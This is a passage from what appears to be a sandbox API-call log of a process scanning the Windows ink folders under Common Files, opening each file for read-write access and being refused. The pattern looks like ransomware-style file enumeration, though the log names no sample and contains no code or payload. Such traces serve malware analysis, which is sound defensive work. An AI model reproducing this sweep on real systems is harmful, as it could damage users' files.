ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.330] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.330] GetProcessHeap () returned 0x2a0000 [0142.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.330] GetLastError () returned 0x5 [0142.330] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.330] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.330] GetProcessHeap () returned 0x2a0000 [0142.330] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.330] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0142.330] GetProcessHeap () returned 0x2a0000 [0142.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fc8 [0142.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.332] GetProcessHeap () returned 0x2a0000 [0142.332] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.332] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.332] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0142.332] GetProcessHeap () returned 0x2a0000 [0142.332] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0142.332] GetProcessHeap () returned 0x2a0000 [0142.332] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2c7fc8 [0142.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.333] GetProcessHeap () returned 0x2a0000 [0142.333] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.333] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.333] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0142.333] GetProcessHeap () returned 0x2a0000 [0142.333] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2f7730 [0142.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.444] GetLastError () returned 0x5 [0142.444] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0142.444] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.444] GetProcessHeap () returned 0x2a0000 [0142.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.445] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0142.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.445] GetLastError () returned 0x5 [0142.445] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0142.445] GetProcessHeap () returned 0x2a0000 [0142.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2c7fc8 [0142.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.445] GetProcessHeap () returned 0x2a0000 [0142.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.445] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.445] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0142.445] GetProcessHeap () returned 0x2a0000 [0142.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2f7730 [0142.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.446] GetLastError () returned 0x5 [0142.446] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0142.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.447] GetLastError () returned 0x5 [0142.447] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0142.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.447] GetLastError () returned 0x5 [0142.447] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0142.447] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.448] GetProcessHeap () returned 0x2a0000 [0142.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.448] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0142.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.449] GetLastError () returned 0x5 [0142.449] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0142.449] GetProcessHeap () returned 0x2a0000 [0142.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c) returned 0x2c7fc8 [0142.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.465] GetProcessHeap () returned 0x2a0000 [0142.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.465] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.465] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0142.465] GetProcessHeap () returned 0x2a0000 [0142.465] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29e) returned 0x2f7730 [0142.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.467] GetLastError () returned 0x5 [0142.467] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0142.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.467] GetLastError () returned 0x5 [0142.467] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0142.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.468] GetLastError () returned 0x5 [0142.468] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0142.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.468] GetLastError () returned 0x5 [0142.468] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0142.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.469] GetLastError () returned 0x5 [0142.469] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0142.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.469] GetLastError () returned 0x5 [0142.470] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0142.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.487] GetLastError () returned 0x5 [0142.487] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0142.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.487] GetLastError () returned 0x5 [0142.487] 